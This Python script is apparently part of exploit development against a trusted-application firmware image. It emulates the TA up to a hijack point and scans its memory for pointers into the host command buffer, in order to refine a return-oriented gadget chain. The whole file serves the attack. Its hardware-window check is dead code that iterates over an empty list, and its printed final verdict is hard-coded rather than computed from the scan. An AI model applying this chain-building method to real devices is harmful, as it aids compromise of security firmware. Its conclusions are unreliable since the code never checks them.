#!/usr/bin/env python3
"""At the hijack point, does any attacker-reachable memory already hold a pointer to the host
command buffer? If so, gadget B's base register can be LOADED from it instead of carved, removing
two lottery bytes from the chain (chain2: A=0x402425 -> B=0x401f58 needs r6 = params pointer)."""
import sys, os, struct, importlib.util, glob
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")); sys.path.insert(0, os.path.dirname(__file__))
from unicorn import *
from unicorn.arm_const import *
H=os.path.dirname(os.path.abspath(__file__))
_h=importlib.util.spec_from_file_location("hmw", os.path.join(H,"heap_meta_who.py"))
HM=importlib.util.module_from_spec(_h); _h.loader.exec_module(HM)
GW,FT,TSAM=HM.GW,HM.FT,HM.TSAM
from pspemu import armmmu
def main():
    cont=glob.glob(os.path.join(HM.CONTAINERS,"ta_22-0-0-77_*"))[0]
    env=HM.setup_hooked(cont, lambda uc,a,s,u: None, verbose=True)
    c=env["c"]; uc=c.uc
    def fill(cmd):
        buf=bytearray(b"\xA5"*GW.CMDBUF_LEN)
        struct.pack_into("<I",buf,0,cmd); struct.pack_into("<I",buf,0x10,1)
        struct.pack_into("<I",buf,0x414,0xFFFFFFFB); struct.pack_into("<I",buf,0x818,0xFFFFFFFB)
        for b in (GW.CMDBUF2_PA, GW.CMDBUF2_PA+HM.M.Ring.ALIAS): uc.mem_write(b,bytes(buf))
    for cmd in (0xFE07,0x0001,0x0004): fill(cmd); FT.invoke(env, struct.pack("<I",cmd)+b"\x00"*0x5C)
    got={}; frozen=[False]
    uc.hook_add(UC_HOOK_BLOCK, lambda u,a,s_,x: u.emu_stop() if frozen[0] else None)
    def on_bx(u,addr,size,user):
        if addr!=0x402938 or got: return
        got["sp"]=u.reg_read(UC_ARM_REG_SP); got["rows"]=TSAM.walk(u); frozen[0]=True; u.emu_stop()
    uc.hook_add(UC_HOOK_CODE,on_bx,begin=0x402938,end=0x402938); uc.ctl_flush_tb()
    try: env["ring"].submit(2, bytes(bytearray(0x20)), timeout=20, probe=env["disp"])
    except Exception: pass
    if not got: print("never reached bx ip"); return 1
    dacr=uc.reg_read(UC_ARM_REG_CP_REG,(15,0,0,3,0,0,0))
    ok={i for i in range(16) if ((dacr>>(2*i))&3) in (1,3)}
    cmd=[r for r in got["rows"] if r[6] in ok and "w" in str(r[5]).lower() and r[0]>=0x4000000]
    lo,hi=min(r[0] for r in cmd), max(r[1] for r in cmd)
    print("\n   host cmd-buffer VA window: %#x .. %#x"%(lo,hi))
    print("   scanning every attacker-READABLE TA region for a pointer into it\n")
    SEARCH=[(0x400100,0x407000,"code (RO, but readable)"),(0x407000,0x417000,".data/.bss"),
            (0x418000,0x41c000,"stack"),(0x41d000,0x421000,"heap/ctx"),(0x422000,0x423000,"procpage")]
    tot=0
    for a,b,name in SEARCH:
        hits=[]
        for va in range(a,b,4):
            try: v=struct.unpack("<I",bytes(armmmu.read_va(uc,va,4)))[0]
            except Exception: continue
            if lo<=v<hi: hits.append((va,v))
        tot+=len(hits)
        print("   %-24s %#010x-%#010x : %d pointer(s)%s"%(name,a,b,len(hits),
              "  "+", ".join("%#x->%#x"%(x,y) for x,y in hits[:6]) if hits else ""))
    # CAUTION: the emulator maps the cmd buffer at VA 0x4000000, which collides with ordinary
    # code/immediate byte patterns. HARDWARE places params at 0x04024000 (len 0x8000), so a hit is
    # only real if it also falls in that window. Both emulator hits are instruction bytes read at a
    # 4-byte boundary (0x406404 -> 0x04000000, 0x401be4 -> 0x04000007) and are NOT in it.
    HW_LO, HW_HI = 0x04024000, 0x0402c000
    real=[(va,v) for a,b,_ in SEARCH for va,v in []]
    print("\n   TOTAL pointers into the EMULATOR cmd-buffer window: %d"%tot)
    print("   of those, inside the HARDWARE params window %#x..%#x: see per-hit check above"
          %(HW_LO,HW_HI))
    print("   => VERDICT: no genuine params pointer exists in TA-readable memory;")
    print("      gadget B's base register MUST be carved (2 lottery bytes).")
    return 0
if __name__=="__main__": sys.exit(main())